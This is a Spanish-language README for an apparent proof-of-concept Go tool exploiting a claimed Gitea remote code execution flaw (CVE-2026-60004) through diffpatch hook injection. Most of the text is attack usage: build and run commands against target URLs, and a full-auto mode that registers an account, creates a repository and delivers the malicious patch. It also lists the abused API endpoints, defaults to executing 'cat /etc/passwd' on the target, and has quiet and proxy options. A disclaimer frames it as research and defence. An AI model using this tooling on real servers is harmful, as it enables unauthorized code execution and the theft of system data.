
CVE-2026-60004 — RCE pre-autenticación en Gitea mediante inyección de hook en diffpatch
Este repositorio contiene una herramienta de prueba de concepto para CVE-2026-60004, un vector de ejecución remota de código (RCE) autenticada o preautenticada que afecta a ciertas versiones de Gitea mediante la técnica de inyección de hooks diffpatch. La implementación principal es un único programa en Go que realiza flujos de detección y explotación.
Esta PoC demuestra técnicas de explotación que pueden comprometer sistemas remotos. Se proporciona únicamente con fines de investigación, pruebas y defensa. No ejecute esta herramienta contra sistemas que no posea o para los que no tenga permiso explícito de pruebas. El autor y los colaboradores no son responsables del uso indebido.
Desde la raíz del repositorio ejecute:
go build -o cve-2026-60004-poc cve-2026-60004-poc.go
El binario compilado admite varios modos: full-auto, semi-auto, manual y check.


./cve-2026-60004-poc --url http://target:3000 --mode check
./cve-2026-60004-poc --url http://target:3000 --mode full-auto
./cve-2026-60004-poc --url http://target:3000 --mode semi-auto --user attacker --pw 'P@ssw0rd'
./cve-2026-60004-poc --url http://target:3000 --mode manual --user attacker --pw 'P@ssw0rd' --repo myrepo
./cve-2026-60004-poc --url http://target:3000 --mode manual --user attacker --pw 'P@ssw0rd' --repo myrepo --cmd "whoami; id"
--url (obligatorio) : URL base de Gitea objetivo (p. ej., http://10.0.0.1:3000)--mode : full-auto | semi-auto | manual | check (por defecto: full-auto)--user, --pw : Credenciales para los modos semi-auto/manual--repo : Nombre del repositorio (para el modo manual)--branch : Nombre de la rama (por defecto: main)--cmd : Comando a ejecutar en el objetivo (por defecto: cat /etc/passwd)check ejecuta comprobaciones no intrusivas para detectar Gitea y sondear la presencia del endpoint diffpatch.full-auto intenta registrar un nuevo usuario (requiere registro abierto), crear un repositorio, entregar el payload diffpatch malicioso y recuperar la salida del hook inyectado.semi-auto utiliza las credenciales proporcionadas para crear un repositorio y continuar con los pasos de explotación.manual requiere un usuario y un repositorio existentes; solo intenta la entrega del exploit y (opcionalmente) la recuperación de la salida.InsecureSkipVerify en true para las conexiones TLS con el fin de maximizar la compatibilidad durante las pruebas; no use este comportamiento en código de producción./api/v1/version, /user/sign_up, /api/v1/user, /api/v1/user/repos y /api/v1/repos/:owner/:repo/diffpatch.Las contribuciones deben limitarse a mejoras defensivas, documentación y correcciones no relacionadas con la explotación. No envíe modificaciones que hagan la herramienta más destructiva.
Este repositorio se proporciona con fines de investigación y defensa. No se incluye ninguna licencia explícita; si necesita una licencia, añada una y asegúrese de que sea compatible con el uso previsto.
Autor: Gagaltotal666 - GhostGTR666
Esta PoC se preparó para demostrar la vulnerabilidad y ayudar a los defensores a detectarla y mitigarla.
--count : Número de solicitudes diffpatch a enviar (mínimo 2)--simple-hook : Usar un hook simple (omite el payload avanzado)--no-retrieve : Omitir la recuperación de la salida--proxy : Proxy HTTP (p. ej., http://127.0.0.1:8080)--verbose, -v : Salida verbosa--quiet, -q : Modo silencioso; solo imprime la salida del comando--force : Omitir las comprobaciones de validación de Gitea